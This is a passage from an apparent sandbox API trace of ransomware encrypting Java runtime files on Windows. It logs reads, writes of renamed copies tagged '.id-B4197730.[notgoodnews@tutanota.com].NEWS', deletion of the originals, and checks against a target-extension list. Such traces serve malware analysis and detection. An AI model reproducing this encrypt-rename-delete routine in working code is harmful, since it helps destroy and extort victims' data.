nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xade4, lpOverlapped=0x0) returned 1 [0160.726] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xadf0, lpOverlapped=0x0) returned 1 [0161.029] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.029] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xea, lpOverlapped=0x0) returned 1 [0161.056] SetEndOfFile (hFile=0x46c) returned 1 [0161.056] CloseHandle (hObject=0x46c) returned 1 [0161.056] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.056] SetEndOfFile (hFile=0x468) returned 1 [0161.063] CloseHandle (hObject=0x468) returned 1 [0161.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.064] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0161.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.064] lstrlenW (lpString=".doc") returned 4 [0161.064] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.064] lstrlenW (lpString=".docx") returned 5 [0161.064] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0161.065] lstrlenW (lpString=".pdf") returned 4 [0161.065] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.065] lstrlenW (lpString=".xls") returned 4 [0161.065] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.065] lstrlenW (lpString=".xlsx") returned 5 [0161.065] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0161.065] lstrlenW (lpString=".ppt") returned 4 [0161.065] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.065] lstrlenW (lpString=".zip") returned 4 [0161.065] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.065] lstrlenW (lpString=".rar") returned 4 [0161.065] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.065] lstrlenW (lpString=".bz2") returned 4 [0161.065] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.065] lstrlenW (lpString=".7z") returned 3 [0161.065] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.065] lstrlenW (lpString=".dbf") returned 4 [0161.065] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.065] lstrlenW (lpString=".1cd") returned 4 [0161.065] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.065] lstrlenW (lpString=".jpg") returned 4 [0161.065] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.065] lstrlenW (lpString=".doc") returned 4 [0161.065] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.065] lstrlenW (lpString=".docx") returned 5 [0161.065] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0161.065] lstrlenW (lpString=".pdf") returned 4 [0161.065] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.066] lstrlenW (lpString=".xls") returned 4 [0161.066] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.066] lstrlenW (lpString=".xlsx") returned 5 [0161.066] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0161.066] lstrlenW (lpString=".ppt") returned 4 [0161.066] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.066] lstrlenW (lpString=".zip") returned 4 [0161.066] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.066] lstrlenW (lpString=".rar") returned 4 [0161.066] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.066] lstrlenW (lpString=".bz2") returned 4 [0161.066] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.066] lstrlenW (lpString=".7z") returned 3 [0161.066] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.066] lstrlenW (lpString=".dbf") returned 4 [0161.066] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.066] lstrlenW (lpString=".1cd") returned 4 [0161.066] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0161.066] lstrlenW (lpString=".jpg") returned 4 [0161.066] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.066] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0161.066] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0161.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.067] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=251327) returned 1 [0161.067] CloseHandle (hObject=0x468) returned 1 [0161.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0161.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.067] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.068] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.068] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.068] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0161.068] GetLastError () returned 0x0 [0161.068] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0161.080] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0161.085] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.085] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xee, lpOverlapped=0x0) returned 1 [0161.085] SetEndOfFile (hFile=0x480) returned 1 [0161.085] CloseHandle (hObject=0x480) returned 1 [0161.085] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.085] SetEndOfFile (hFile=0x468) returned 1 [0161.092] CloseHandle (hObject=0x468) returned 1 [0161.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.092] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0161.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.093] lstrlenW (lpString=".doc") returned 4 [0161.093] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.093] lstrlenW (lpString=".docx") returned 5 [0161.093] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0161.093] lstrlenW (lpString=".pdf") returned 4 [0161.093] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.093] lstrlenW (lpString=".xls") returned 4 [0161.093] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.093] lstrlenW (lpString=".xlsx") returned 5 [0161.093] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0161.093] lstrlenW (lpString=".ppt") returned 4 [0161.093] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.093] lstrlenW (lpString=".zip") returned 4 [0161.093] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.093] lstrlenW (lpString=".rar") returned 4 [0161.094] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString=".bz2") returned 4 [0161.094] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.094] lstrlenW (lpString=".7z") returned 3 [0161.094] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.094] lstrlenW (lpString=".dbf") returned 4 [0161.094] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.094] lstrlenW (lpString=".1cd") returned 4 [0161.094] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.094] lstrlenW (lpString=".jpg") returned 4 [0161.094] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.094] lstrlenW (lpString=".doc") returned 4 [0161.094] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.094] lstrlenW (lpString=".docx") returned 5 [0161.094] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0161.094] lstrlenW (lpString=".pdf") returned 4 [0161.094] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString=".xls") returned 4 [0161.094] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString=".xlsx") returned 5 [0161.094] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0161.094] lstrlenW (lpString=".ppt") returned 4 [0161.094] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.094] lstrlenW (lpString=".zip") returned 4 [0161.094] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString=".rar") returned 4 [0161.094] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.094] lstrlenW (lpString=".bz2") returned 4 [0161.095] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.095] lstrlenW (lpString=".7z") returned 3 [0161.095] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.095] lstrlenW (lpString=".dbf") returned 4 [0161.095] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.095] lstrlenW (lpString=".1cd") returned 4 [0161.095] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0161.095] lstrlenW (lpString=".jpg") returned 4 [0161.095] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.095] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0161.095] lstrlenW (lpString="zipfs.jar") returned 9 [0161.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.096] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=68924) returned 1 [0161.096] CloseHandle (hObject=0x468) returned 1 [0161.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0161.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.096] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.096] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0161.097] GetLastError () returned 0x0 [0161.097] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0161.508] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10d40, lpOverlapped=0x0) returned 1 [0161.511] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.511] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0161.511] SetEndOfFile (hFile=0x480) returned 1 [0161.511] CloseHandle (hObject=0x480) returned 1 [0161.511] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.511] SetEndOfFile (hFile=0x468) returned 1 [0161.515] CloseHandle (hObject=0x468) returned 1 [0161.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.516] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0161.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.516] lstrlenW (lpString=".doc") returned 4 [0161.516] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.516] lstrlenW (lpString=".docx") returned 5 [0161.516] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0161.516] lstrlenW (lpString=".pdf") returned 4 [0161.516] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.516] lstrlenW (lpString=".xls") returned 4 [0161.517] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString=".xlsx") returned 5 [0161.517] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0161.517] lstrlenW (lpString=".ppt") returned 4 [0161.517] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.517] lstrlenW (lpString=".zip") returned 4 [0161.517] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString=".rar") returned 4 [0161.517] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString=".bz2") returned 4 [0161.517] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.517] lstrlenW (lpString=".7z") returned 3 [0161.517] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.517] lstrlenW (lpString=".dbf") returned 4 [0161.517] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.517] lstrlenW (lpString=".1cd") returned 4 [0161.517] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.517] lstrlenW (lpString=".jpg") returned 4 [0161.517] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.517] lstrlenW (lpString=".doc") returned 4 [0161.517] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.517] lstrlenW (lpString=".docx") returned 5 [0161.517] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0161.517] lstrlenW (lpString=".pdf") returned 4 [0161.517] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString=".xls") returned 4 [0161.517] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.517] lstrlenW (lpString=".xlsx") returned 5 [0161.518] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0161.518] lstrlenW (lpString=".ppt") returned 4 [0161.518] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.518] lstrlenW (lpString=".zip") returned 4 [0161.518] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.518] lstrlenW (lpString=".rar") returned 4 [0161.518] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.518] lstrlenW (lpString=".bz2") returned 4 [0161.518] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.518] lstrlenW (lpString=".7z") returned 3 [0161.518] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.518] lstrlenW (lpString=".dbf") returned 4 [0161.518] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.518] lstrlenW (lpString=".1cd") returned 4 [0161.518] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0161.518] lstrlenW (lpString=".jpg") returned 4 [0161.518] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.518] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0161.518] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0161.518] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.519] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=80856) returned 1 [0161.519] CloseHandle (hObject=0x468) returned 1 [0161.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0161.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.520] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.520] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0161.522] GetLastError () returned 0x0 [0161.522] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0161.527] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x13be0, lpOverlapped=0x0) returned 1 [0161.531] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.531] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, 